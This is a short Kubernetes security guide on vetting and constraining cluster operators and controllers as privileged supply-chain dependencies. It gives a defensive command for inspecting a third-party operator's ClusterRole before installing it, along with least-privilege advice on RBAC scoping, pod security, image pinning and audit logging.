Operator & controller security

Privileged automation as a supply-chain dependency.

Operators and controllers automate the cluster by watching resources and reconciling state — which means they run privileged code that acts across the cluster. A malicious or vulnerable operator is one of the most direct paths to cluster compromise, and installing one is a supply-chain decision.

Why operators are high-value targets

An operator typically holds a broad ClusterRole so it can create, update, and delete the resources it manages, and it runs a reconcile loop driven by custom resources. That combination is powerful: compromise the operator’s pod, or feed its controller a malicious custom resource, and you can drive cluster-wide actions with its permissions. Because operators are often installed from third-party Helm charts or manifests that request extensive RBAC, adding one is exactly like adding a privileged dependency to your supply chain — its container image, its ClusterRole, and its CRDs all deserve scrutiny before it ever runs.

# Before applying a third-party operator, read what it actually asks for:
helm template ./operator | kubectl-neat | grep -A20 'kind: ClusterRole'
#  → Does it request "*" verbs on "*" resources? secrets? create pods?
#  → Is its image pinned by digest and from a source you trust?
#  → What CRDs does it add, and what can crafting those resources make it do?
 
# Constrain it: scope the ClusterRole to only what it reconciles, and run it
# under PSA restricted with a dedicated, minimal service account.

Least privilege for automation

Treat operators with the same least-privilege discipline as any workload — more so, given their reach. Scope the operator’s RBAC to the specific resources and verbs it genuinely reconciles rather than granting cluster-admin for convenience; run it as non-root under a restricted pod security profile; pin its image by digest from a trusted source; and keep its actions in the audit log. Review the CRDs it introduces, since custom resources become an attacker-influenceable input to a privileged controller. Operators are enormously useful, but each one expands the cluster’s trusted computing base, and that expansion must be deliberate and constrained.